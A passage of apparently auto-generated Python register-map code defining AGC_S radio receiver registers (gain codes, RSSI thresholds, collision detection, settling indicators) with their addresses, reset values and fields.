RM_Field_AGC_S_LNAMIXCODE0_LNAMIXSLICE2(self)\n        self.zz_fdict['LNAMIXSLICE2'] = self.LNAMIXSLICE2\n        self.LNAMIXSLICE3 = RM_Field_AGC_S_LNAMIXCODE0_LNAMIXSLICE3(self)\n        self.zz_fdict['LNAMIXSLICE3'] = self.LNAMIXSLICE3\n        self.LNAMIXSLICE4 = RM_Field_AGC_S_LNAMIXCODE0_LNAMIXSLICE4(self)\n        self.zz_fdict['LNAMIXSLICE4'] = self.LNAMIXSLICE4\n        self.LNAMIXSLICE5 = RM_Field_AGC_S_LNAMIXCODE0_LNAMIXSLICE5(self)\n        self.zz_fdict['LNAMIXSLICE5'] = self.LNAMIXSLICE5\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_LNAMIXCODE1(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_LNAMIXCODE1, self).__init__(rmio, label,\n            0xa800c000, 0x0AC,\n            'LNAMIXCODE1', 'AGC_S.LNAMIXCODE1', 'read-write',\n            u\"\",\n            0x0518A311, 0x3FFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAMIXSLICE6 = RM_Field_AGC_S_LNAMIXCODE1_LNAMIXSLICE6(self)\n        self.zz_fdict['LNAMIXSLICE6'] = self.LNAMIXSLICE6\n        self.LNAMIXSLICE7 = RM_Field_AGC_S_LNAMIXCODE1_LNAMIXSLICE7(self)\n        self.zz_fdict['LNAMIXSLICE7'] = self.LNAMIXSLICE7\n        self.LNAMIXSLICE8 = RM_Field_AGC_S_LNAMIXCODE1_LNAMIXSLICE8(self)\n        self.zz_fdict['LNAMIXSLICE8'] = self.LNAMIXSLICE8\n        self.LNAMIXSLICE9 = RM_Field_AGC_S_LNAMIXCODE1_LNAMIXSLICE9(self)\n        self.zz_fdict['LNAMIXSLICE9'] = self.LNAMIXSLICE9\n        self.LNAMIXSLICE10 = RM_Field_AGC_S_LNAMIXCODE1_LNAMIXSLICE10(self)\n        self.zz_fdict['LNAMIXSLICE10'] = self.LNAMIXSLICE10\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_PGACODE0(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_PGACODE0, self).__init__(rmio, label,\n            0xa800c000, 0x0B0,\n            'PGACODE0', 'AGC_S.PGACODE0', 'read-write',\n            u\"\",\n            0x76543210, 0xFFFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.PGAGAIN1 = RM_Field_AGC_S_PGACODE0_PGAGAIN1(self)\n        self.zz_fdict['PGAGAIN1'] = self.PGAGAIN1\n        self.PGAGAIN2 = RM_Field_AGC_S_PGACODE0_PGAGAIN2(self)\n        self.zz_fdict['PGAGAIN2'] = self.PGAGAIN2\n        self.PGAGAIN3 = RM_Field_AGC_S_PGACODE0_PGAGAIN3(self)\n        self.zz_fdict['PGAGAIN3'] = self.PGAGAIN3\n        self.PGAGAIN4 = RM_Field_AGC_S_PGACODE0_PGAGAIN4(self)\n        self.zz_fdict['PGAGAIN4'] = self.PGAGAIN4\n        self.PGAGAIN5 = RM_Field_AGC_S_PGACODE0_PGAGAIN5(self)\n        self.zz_fdict['PGAGAIN5'] = self.PGAGAIN5\n        self.PGAGAIN6 = RM_Field_AGC_S_PGACODE0_PGAGAIN6(self)\n        self.zz_fdict['PGAGAIN6'] = self.PGAGAIN6\n        self.PGAGAIN7 = RM_Field_AGC_S_PGACODE0_PGAGAIN7(self)\n        self.zz_fdict['PGAGAIN7'] = self.PGAGAIN7\n        self.PGAGAIN8 = RM_Field_AGC_S_PGACODE0_PGAGAIN8(self)\n        self.zz_fdict['PGAGAIN8'] = self.PGAGAIN8\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_PGACODE1(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_PGACODE1, self).__init__(rmio, label,\n            0xa800c000, 0x0B4,\n            'PGACODE1', 'AGC_S.PGACODE1', 'read-write',\n            u\"\",\n            0x00000A98, 0x00000FFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.PGAGAIN9 = RM_Field_AGC_S_PGACODE1_PGAGAIN9(self)\n        self.zz_fdict['PGAGAIN9'] = self.PGAGAIN9\n        self.PGAGAIN10 = RM_Field_AGC_S_PGACODE1_PGAGAIN10(self)\n        self.zz_fdict['PGAGAIN10'] = self.PGAGAIN10\n        self.PGAGAIN11 = RM_Field_AGC_S_PGACODE1_PGAGAIN11(self)\n        self.zz_fdict['PGAGAIN11'] = self.PGAGAIN11\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_LBT(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_LBT, self).__init__(rmio, label,\n            0xa800c000, 0x0B8,\n            'LBT', 'AGC_S.LBT', 'read-write',\n            u\"\",\n            0x00000000, 0x0000007F,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.CCARSSIPERIOD = RM_Field_AGC_S_LBT_CCARSSIPERIOD(self)\n        self.zz_fdict['CCARSSIPERIOD'] = self.CCARSSIPERIOD\n        self.ENCCARSSIPERIOD = RM_Field_AGC_S_LBT_ENCCARSSIPERIOD(self)\n        self.zz_fdict['ENCCARSSIPERIOD'] = self.ENCCARSSIPERIOD\n        self.ENCCAGAINREDUCED = RM_Field_AGC_S_LBT_ENCCAGAINREDUCED(self)\n        self.zz_fdict['ENCCAGAINREDUCED'] = self.ENCCAGAINREDUCED\n        self.ENCCARSSIMAX = RM_Field_AGC_S_LBT_ENCCARSSIMAX(self)\n        self.zz_fdict['ENCCARSSIMAX'] = self.ENCCARSSIMAX\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_MIRRORIF(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_MIRRORIF, self).__init__(rmio, label,\n            0xa800c000, 0x0BC,\n            'MIRRORIF', 'AGC_S.MIRRORIF', 'read-write',\n            u\"\",\n            0x00000000, 0x0000000F,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.RSSIPOSSTEPM = RM_Field_AGC_S_MIRRORIF_RSSIPOSSTEPM(self)\n        self.zz_fdict['RSSIPOSSTEPM'] = self.RSSIPOSSTEPM\n        self.RSSINEGSTEPM = RM_Field_AGC_S_MIRRORIF_RSSINEGSTEPM(self)\n        self.zz_fdict['RSSINEGSTEPM'] = self.RSSINEGSTEPM\n        self.SHORTRSSIPOSSTEPM = RM_Field_AGC_S_MIRRORIF_SHORTRSSIPOSSTEPM(self)\n        self.zz_fdict['SHORTRSSIPOSSTEPM'] = self.SHORTRSSIPOSSTEPM\n        self.IFMIRRORCLEAR = RM_Field_AGC_S_MIRRORIF_IFMIRRORCLEAR(self)\n        self.zz_fdict['IFMIRRORCLEAR'] = self.IFMIRRORCLEAR\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_SEQIF(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_SEQIF, self).__init__(rmio, label,\n            0xa800c000, 0x0C0,\n            'SEQIF', 'AGC_S.SEQIF', 'read-write',\n            u\"\",\n            0x00000000, 0x0003FF7D,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.RSSIVALID = RM_Field_AGC_S_SEQIF_RSSIVALID(self)\n        self.zz_fdict['RSSIVALID'] = self.RSSIVALID\n        self.CCA = RM_Field_AGC_S_SEQIF_CCA(self)\n        self.zz_fdict['CCA'] = self.CCA\n        self.RSSIPOSSTEP = RM_Field_AGC_S_SEQIF_RSSIPOSSTEP(self)\n        self.zz_fdict['RSSIPOSSTEP'] = self.RSSIPOSSTEP\n        self.RSSINEGSTEP = RM_Field_AGC_S_SEQIF_RSSINEGSTEP(self)\n        self.zz_fdict['RSSINEGSTEP'] = self.RSSINEGSTEP\n        self.RSSIDONE = RM_Field_AGC_S_SEQIF_RSSIDONE(self)\n        self.zz_fdict['RSSIDONE'] = self.RSSIDONE\n        self.SHORTRSSIPOSSTEP = RM_Field_AGC_S_SEQIF_SHORTRSSIPOSSTEP(self)\n        self.zz_fdict['SHORTRSSIPOSSTEP'] = self.SHORTRSSIPOSSTEP\n        self.RFPKDPRDDONE = RM_Field_AGC_S_SEQIF_RFPKDPRDDONE(self)\n        self.zz_fdict['RFPKDPRDDONE'] = self.RFPKDPRDDONE\n        self.RFPKDCNTDONE = RM_Field_AGC_S_SEQIF_RFPKDCNTDONE(self)\n        self.zz_fdict['RFPKDCNTDONE'] = self.RFPKDCNTDONE\n        self.RSSIHIGH = RM_Field_AGC_S_SEQIF_RSSIHIGH(self)\n        self.zz_fdict['RSSIHIGH'] = self.RSSIHIGH\n        self.RSSILOW = RM_Field_AGC_S_SEQIF_RSSILOW(self)\n        self.zz_fdict['RSSILOW'] = self.RSSILOW\n        self.CCANODET = RM_Field_AGC_S_SEQIF_CCANODET(self)\n        self.zz_fdict['CCANODET'] = self.CCANODET\n        self.GAINBELOWGAINTHD = RM_Field_AGC_S_SEQIF_GAINBELOWGAINTHD(self)\n        self.zz_fdict['GAINBELOWGAINTHD'] = self.GAINBELOWGAINTHD\n        self.GAINUPDATEFRZ = RM_Field_AGC_S_SEQIF_GAINUPDATEFRZ(self)\n        self.zz_fdict['GAINUPDATEFRZ'] = self.GAINUPDATEFRZ\n        self.PNATTEN = RM_Field_AGC_S_SEQIF_PNATTEN(self)\n        self.zz_fdict['PNATTEN'] = self.PNATTEN\n        self.COLLDETRSSIMAPRE = RM_Field_AGC_S_SEQIF_COLLDETRSSIMAPRE(self)\n        self.zz_fdict['COLLDETRSSIMAPRE'] = self.COLLDETRSSIMAPRE\n        self.COLLDETRSSIMASYNC = RM_Field_AGC_S_SEQIF_COLLDETRSSIMASYNC(self)\n        self.zz_fdict['COLLDETRSSIMASYNC'] = self.COLLDETRSSIMASYNC\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_SEQIEN(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_SEQIEN, self).__init__(rmio, label,\n            0xa800c000, 0x0C4,\n            'SEQIEN', 'AGC_S.SEQIEN', 'read-write',\n            u\"\",\n            0x00000000, 0x0003FF7D,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.RSSIVALID = RM_Field_AGC_S_SEQIEN_RSSIVALID(self)\n        self.zz_fdict['RSSIVALID'] = self.RSSIVALID\n        self.CCA = RM_Field_AGC_S_SEQIEN_CCA(self)\n        self.zz_fdict['CCA'] = self.CCA\n        self.RSSIPOSSTEP = RM_Field_AGC_S_SEQIEN_RSSIPOSSTEP(self)\n        self.zz_fdict['RSSIPOSSTEP'] = self.RSSIPOSSTEP\n        self.RSSINEGSTEP = RM_Field_AGC_S_SEQIEN_RSSINEGSTEP(self)\n        self.zz_fdict['RSSINEGSTEP'] = self.RSSINEGSTEP\n        self.RSSIDONE = RM_Field_AGC_S_SEQIEN_RSSIDONE(self)\n        self.zz_fdict['RSSIDONE'] = self.RSSIDONE\n        self.SHORTRSSIPOSSTEP = RM_Field_AGC_S_SEQIEN_SHORTRSSIPOSSTEP(self)\n        self.zz_fdict['SHORTRSSIPOSSTEP'] = self.SHORTRSSIPOSSTEP\n        self.RFPKDPRDDONE = RM_Field_AGC_S_SEQIEN_RFPKDPRDDONE(self)\n        self.zz_fdict['RFPKDPRDDONE'] = self.RFPKDPRDDONE\n        self.RFPKDCNTDONE = RM_Field_AGC_S_SEQIEN_RFPKDCNTDONE(self)\n        self.zz_fdict['RFPKDCNTDONE'] = self.RFPKDCNTDONE\n        self.RSSIHIGH = RM_Field_AGC_S_SEQIEN_RSSIHIGH(self)\n        self.zz_fdict['RSSIHIGH'] = self.RSSIHIGH\n        self.RSSILOW = RM_Field_AGC_S_SEQIEN_RSSILOW(self)\n        self.zz_fdict['RSSILOW'] = self.RSSILOW\n        self.CCANODET = RM_Field_AGC_S_SEQIEN_CCANODET(self)\n        self.zz_fdict['CCANODET'] = self.CCANODET\n        self.GAINBELOWGAINTHD = RM_Field_AGC_S_SEQIEN_GAINBELOWGAINTHD(self)\n        self.zz_fdict['GAINBELOWGAINTHD'] = self.GAINBELOWGAINTHD\n        self.GAINUPDATEFRZ = RM_Field_AGC_S_SEQIEN_GAINUPDATEFRZ(self)\n        self.zz_fdict['GAINUPDATEFRZ'] = self.GAINUPDATEFRZ\n        self.PNATTEN = RM_Field_AGC_S_SEQIEN_PNATTEN(self)\n        self.zz_fdict['PNATTEN'] = self.PNATTEN\n        self.COLLDETRSSIMAPRE = RM_Field_AGC_S_SEQIEN_COLLDETRSSIMAPRE(self)\n        self.zz_fdict['COLLDETRSSIMAPRE'] = self.COLLDETRSSIMAPRE\n        self.COLLDETRSSIMASYNC = RM_Field_AGC_S_SEQIEN_COLLDETRSSIMASYNC(self)\n        self.zz_fdict['COLLDETRSSIMASYNC'] = self.COLLDETRSSIMASYNC\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_RSSIABSTHR(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_RSSIABSTHR, self).__init__(rmio, label,\n            0xa800c000, 0x0C8,\n            'RSSIABSTHR', 'AGC_S.RSSIABSTHR', 'read-write',\n            u\"\",\n            0x00000000, 0xFFFFFFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.RSSIHIGHTHRSH = RM_Field_AGC_S_RSSIABSTHR_RSSIHIGHTHRSH(self)\n        self.zz_fdict['RSSIHIGHTHRSH'] = self.RSSIHIGHTHRSH\n        self.RSSILOWTHRSH = RM_Field_AGC_S_RSSIABSTHR_RSSILOWTHRSH(self)\n        self.zz_fdict['RSSILOWTHRSH'] = self.RSSILOWTHRSH\n        self.SIRSSIHIGHTHR = RM_Field_AGC_S_RSSIABSTHR_SIRSSIHIGHTHR(self)\n        self.zz_fdict['SIRSSIHIGHTHR'] = self.SIRSSIHIGHTHR\n        self.SIRSSINEGSTEPTHR = RM_Field_AGC_S_RSSIABSTHR_SIRSSINEGSTEPTHR(self)\n        self.zz_fdict['SIRSSINEGSTEPTHR'] = self.SIRSSINEGSTEPTHR\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_ANTDIV(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_ANTDIV, self).__init__(rmio, label,\n            0xa800c000, 0x0D0,\n            'ANTDIV', 'AGC_S.ANTDIV', 'read-write',\n            u\"\",\n            0x00000000, 0x000007FF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.GAINMODE = RM_Field_AGC_S_ANTDIV_GAINMODE(self)\n        self.zz_fdict['GAINMODE'] = self.GAINMODE\n        self.DEBOUNCECNTTHD = RM_Field_AGC_S_ANTDIV_DEBOUNCECNTTHD(self)\n        self.zz_fdict['DEBOUNCECNTTHD'] = self.DEBOUNCECNTTHD\n        self.DISRSSIANTDIVFIX = RM_Field_AGC_S_ANTDIV_DISRSSIANTDIVFIX(self)\n        self.zz_fdict['DISRSSIANTDIVFIX'] = self.DISRSSIANTDIVFIX\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_DUALRFPKDTHD0(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_DUALRFPKDTHD0, self).__init__(rmio, label,\n            0xa800c000, 0x0D4,\n            'DUALRFPKDTHD0', 'AGC_S.DUALRFPKDTHD0', 'read-write',\n            u\"\",\n            0x000A0001, 0x0FFF0FFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.RFPKDLOWTHD0 = RM_Field_AGC_S_DUALRFPKDTHD0_RFPKDLOWTHD0(self)\n        self.zz_fdict['RFPKDLOWTHD0'] = self.RFPKDLOWTHD0\n        self.RFPKDLOWTHD1 = RM_Field_AGC_S_DUALRFPKDTHD0_RFPKDLOWTHD1(self)\n        self.zz_fdict['RFPKDLOWTHD1'] = self.RFPKDLOWTHD1\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_DUALRFPKDTHD1(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_DUALRFPKDTHD1, self).__init__(rmio, label,\n            0xa800c000, 0x0D8,\n            'DUALRFPKDTHD1', 'AGC_S.DUALRFPKDTHD1', 'read-write',\n            u\"\",\n            0x00280001, 0x0FFF0FFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.RFPKDHITHD0 = RM_Field_AGC_S_DUALRFPKDTHD1_RFPKDHITHD0(self)\n        self.zz_fdict['RFPKDHITHD0'] = self.RFPKDHITHD0\n        self.RFPKDHITHD1 = RM_Field_AGC_S_DUALRFPKDTHD1_RFPKDHITHD1(self)\n        self.zz_fdict['RFPKDHITHD1'] = self.RFPKDHITHD1\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_SPARE(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_SPARE, self).__init__(rmio, label,\n            0xa800c000, 0x0DC,\n            'SPARE', 'AGC_S.SPARE', 'read-write',\n            u\"\",\n            0x00000000, 0x000000FF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.SPAREREG = RM_Field_AGC_S_SPARE_SPAREREG(self)\n        self.zz_fdict['SPAREREG'] = self.SPAREREG\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_FLARE(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_FLARE, self).__init__(rmio, label,\n            0xa800c000, 0x0E0,\n            'FLARE', 'AGC_S.FLARE', 'read-write',\n            u\"\",\n            0x00000004, 0x0000001F,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.PNATTENTHD = RM_Field_AGC_S_FLARE_PNATTENTHD(self)\n        self.zz_fdict['PNATTENTHD'] = self.PNATTENTHD\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_STEPDWNSAFE(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_STEPDWNSAFE, self).__init__(rmio, label,\n            0xa800c000, 0x0E4,\n            'STEPDWNSAFE', 'AGC_S.STEPDWNSAFE', 'read-write',\n            u\"\",\n            0x00036D11, 0x0007FFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.STEPDWNSAFE0 = RM_Field_AGC_S_STEPDWNSAFE_STEPDWNSAFE0(self)\n        self.zz_fdict['STEPDWNSAFE0'] = self.STEPDWNSAFE0\n        self.STEPDWNSAFE1 = RM_Field_AGC_S_STEPDWNSAFE_STEPDWNSAFE1(self)\n        self.zz_fdict['STEPDWNSAFE1'] = self.STEPDWNSAFE1\n        self.STEPDWNSAFE2 = RM_Field_AGC_S_STEPDWNSAFE_STEPDWNSAFE2(self)\n        self.zz_fdict['STEPDWNSAFE2'] = self.STEPDWNSAFE2\n        self.STEPDWNSAFE3 = RM_Field_AGC_S_STEPDWNSAFE_STEPDWNSAFE3(self)\n        self.zz_fdict['STEPDWNSAFE3'] = self.STEPDWNSAFE3\n        self.STEPDWNSAFE4 = RM_Field_AGC_S_STEPDWNSAFE_STEPDWNSAFE4(self)\n        self.zz_fdict['STEPDWNSAFE4'] = self.STEPDWNSAFE4\n        self.STEPDWNSAFE5 = RM_Field_AGC_S_STEPDWNSAFE_STEPDWNSAFE5(self)\n        self.zz_fdict['STEPDWNSAFE5'] = self.STEPDWNSAFE5\n        self.STEPDWNSAFEEN = RM_Field_AGC_S_STEPDWNSAFE_STEPDWNSAFEEN(self)\n        self.zz_fdict['STEPDWNSAFEEN'] = self.STEPDWNSAFEEN\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_CCADEBUG(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_CCADEBUG, self).__init__(rmio, label,\n            0xa800c000, 0x0E8,\n            'CCADEBUG', 'AGC_S.CCADEBUG', 'read-only',\n            u\"\",\n            0x00000000, 0x000003FF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.DEBUGCCARSSI = RM_Field_AGC_S_CCADEBUG_DEBUGCCARSSI(self)\n        self.zz_fdict['DEBUGCCARSSI'] = self.DEBUGCCARSSI\n        self.DEBUGCCAM1 = RM_Field_AGC_S_CCADEBUG_DEBUGCCAM1(self)\n        self.zz_fdict['DEBUGCCAM1'] = self.DEBUGCCAM1\n        self.DEBUGCCASIGDET = RM_Field_AGC_S_CCADEBUG_DEBUGCCASIGDET(self)\n        self.zz_fdict['DEBUGCCASIGDET'] = self.DEBUGCCASIGDET\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_TIACODE0(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_TIACODE0, self).__init__(rmio, label,\n            0xa800c000, 0x0EC,\n            'TIACODE0', 'AGC_S.TIACODE0', 'read-write',\n            u\"\",\n            0x00000000, 0x00777777,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.TIACOMP1 = RM_Field_AGC_S_TIACODE0_TIACOMP1(self)\n        self.zz_fdict['TIACOMP1'] = self.TIACOMP1\n        self.TIACOMP2 = RM_Field_AGC_S_TIACODE0_TIACOMP2(self)\n        self.zz_fdict['TIACOMP2'] = self.TIACOMP2\n        self.TIACOMP3 = RM_Field_AGC_S_TIACODE0_TIACOMP3(self)\n        self.zz_fdict['TIACOMP3'] = self.TIACOMP3\n        self.TIACOMP4 = RM_Field_AGC_S_TIACODE0_TIACOMP4(self)\n        self.zz_fdict['TIACOMP4'] = self.TIACOMP4\n        self.TIACOMP5 = RM_Field_AGC_S_TIACODE0_TIACOMP5(self)\n        self.zz_fdict['TIACOMP5'] = self.TIACOMP5\n        self.TIACOMP6 = RM_Field_AGC_S_TIACODE0_TIACOMP6(self)\n        self.zz_fdict['TIACOMP6'] = self.TIACOMP6\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_TIACODE1(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_TIACODE1, self).__init__(rmio, label,\n            0xa800c000, 0x0F0,\n            'TIACODE1', 'AGC_S.TIACODE1', 'read-write',\n            u\"\",\n            0x00000000, 0x00077777,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.TIACOMP7 = RM_Field_AGC_S_TIACODE1_TIACOMP7(self)\n        self.zz_fdict['TIACOMP7'] = self.TIACOMP7\n        self.TIACOMP8 = RM_Field_AGC_S_TIACODE1_TIACOMP8(self)\n        self.zz_fdict['TIACOMP8'] = self.TIACOMP8\n        self.TIACOMP9 = RM_Field_AGC_S_TIACODE1_TIACOMP9(self)\n        self.zz_fdict['TIACOMP9'] = self.TIACOMP9\n        self.TIACOMP10 = RM_Field_AGC_S_TIACODE1_TIACOMP10(self)\n        self.zz_fdict['TIACOMP10'] = self.TIACOMP10\n        self.TIACOMP11 = RM_Field_AGC_S_TIACODE1_TIACOMP11(self)\n        self.zz_fdict['TIACOMP11'] = self.TIACOMP11\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_LNAMIXCODE2(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_LNAMIXCODE2, self).__init__(rmio, label,\n            0xa800c000, 0x0F4,\n            'LNAMIXCODE2', 'AGC_S.LNAMIXCODE2', 'read-write',\n            u\"\",\n            0x00000011, 0x0001FFFF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.LNAMIXSLICE11 = RM_Field_AGC_S_LNAMIXCODE2_LNAMIXSLICE11(self)\n        self.zz_fdict['LNAMIXSLICE11'] = self.LNAMIXSLICE11\n        self.LNAMIXCUREN = RM_Field_AGC_S_LNAMIXCODE2_LNAMIXCUREN(self)\n        self.zz_fdict['LNAMIXCUREN'] = self.LNAMIXCUREN\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_COLLDETCTRL(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_COLLDETCTRL, self).__init__(rmio, label,\n            0xa800c000, 0x100,\n            'COLLDETCTRL', 'AGC_S.COLLDETCTRL', 'read-write',\n            u\"\",\n            0x00002800, 0x03007F8F,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.UPONMARSSI = RM_Field_AGC_S_COLLDETCTRL_UPONMARSSI(self)\n        self.zz_fdict['UPONMARSSI'] = self.UPONMARSSI\n        self.INPUTSEL = RM_Field_AGC_S_COLLDETCTRL_INPUTSEL(self)\n        self.zz_fdict['INPUTSEL'] = self.INPUTSEL\n        self.RSSIINSEL = RM_Field_AGC_S_COLLDETCTRL_RSSIINSEL(self)\n        self.zz_fdict['RSSIINSEL'] = self.RSSIINSEL\n        self.OVRTHDSEL = RM_Field_AGC_S_COLLDETCTRL_OVRTHDSEL(self)\n        self.zz_fdict['OVRTHDSEL'] = self.OVRTHDSEL\n        self.MALATCHSEL = RM_Field_AGC_S_COLLDETCTRL_MALATCHSEL(self)\n        self.zz_fdict['MALATCHSEL'] = self.MALATCHSEL\n        self.MACOMPENSEL = RM_Field_AGC_S_COLLDETCTRL_MACOMPENSEL(self)\n        self.zz_fdict['MACOMPENSEL'] = self.MACOMPENSEL\n        self.MATAP = RM_Field_AGC_S_COLLDETCTRL_MATAP(self)\n        self.zz_fdict['MATAP'] = self.MATAP\n        self.FLTBYP = RM_Field_AGC_S_COLLDETCTRL_FLTBYP(self)\n        self.zz_fdict['FLTBYP'] = self.FLTBYP\n        self.LATCHRSSIEN = RM_Field_AGC_S_COLLDETCTRL_LATCHRSSIEN(self)\n        self.zz_fdict['LATCHRSSIEN'] = self.LATCHRSSIEN\n        self.LATCHRSSI = RM_Field_AGC_S_COLLDETCTRL_LATCHRSSI(self)\n        self.zz_fdict['LATCHRSSI'] = self.LATCHRSSI\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_COLLDETTHD(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_COLLDETTHD, self).__init__(rmio, label,\n            0xa800c000, 0x104,\n            'COLLDETTHD', 'AGC_S.COLLDETTHD', 'read-write',\n            u\"\",\n            0x00281606, 0x07FDFF0F,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.MATHRESHOLD = RM_Field_AGC_S_COLLDETTHD_MATHRESHOLD(self)\n        self.zz_fdict['MATHRESHOLD'] = self.MATHRESHOLD\n        self.MINTHRESHOLD = RM_Field_AGC_S_COLLDETTHD_MINTHRESHOLD(self)\n        self.zz_fdict['MINTHRESHOLD'] = self.MINTHRESHOLD\n        self.OVRTHRESHOLD = RM_Field_AGC_S_COLLDETTHD_OVRTHRESHOLD(self)\n        self.zz_fdict['OVRTHRESHOLD'] = self.OVRTHRESHOLD\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_COLLDETSTATUS(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_COLLDETSTATUS, self).__init__(rmio, label,\n            0xa800c000, 0x108,\n            'COLLDETSTATUS', 'AGC_S.COLLDETSTATUS', 'read-only',\n            u\"\",\n            0x00000000, 0x000001FF,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.MAFLTDOUT = RM_Field_AGC_S_COLLDETSTATUS_MAFLTDOUT(self)\n        self.zz_fdict['MAFLTDOUT'] = self.MAFLTDOUT\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_SETTLINGINDCTRL(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_SETTLINGINDCTRL, self).__init__(rmio, label,\n            0xa800c000, 0x110,\n            'SETTLINGINDCTRL', 'AGC_S.SETTLINGINDCTRL', 'read-write',\n            u\"\",\n            0x00010100, 0x003F3F01,\n            0x00001000, 0x00002000,\n            0x00003000)\n\n        self.EN = RM_Field_AGC_S_SETTLINGINDCTRL_EN(self)\n        self.zz_fdict['EN'] = self.EN\n        self.POSTHD = RM_Field_AGC_S_SETTLINGINDCTRL_POSTHD(self)\n        self.zz_fdict['POSTHD'] = self.POSTHD\n        self.NEGTHD = RM_Field_AGC_S_SETTLINGINDCTRL_NEGTHD(self)\n        self.zz_fdict['NEGTHD'] = self.NEGTHD\n        self.__dict__['zz_frozen'] = True\n\n\nclass RM_Register_AGC_S_SETTLINGINDPER(Base_RM_Register):\n    def __init__(self, rmio, label):\n        self.__dict__['zz_frozen'] = False\n        super(RM_Register_AGC_S_SETTLINGINDPER, self).__init__(rmio, label,\n            0xa800c000, 0x114,\n            'SETTLINGINDPER', 'AGC_S.SETTLINGINDPER', 'read-write',\n            u\"\",\n            0x02000100, 0xFFFFFFFF,\n            0x00001000, 0x00002000,\n            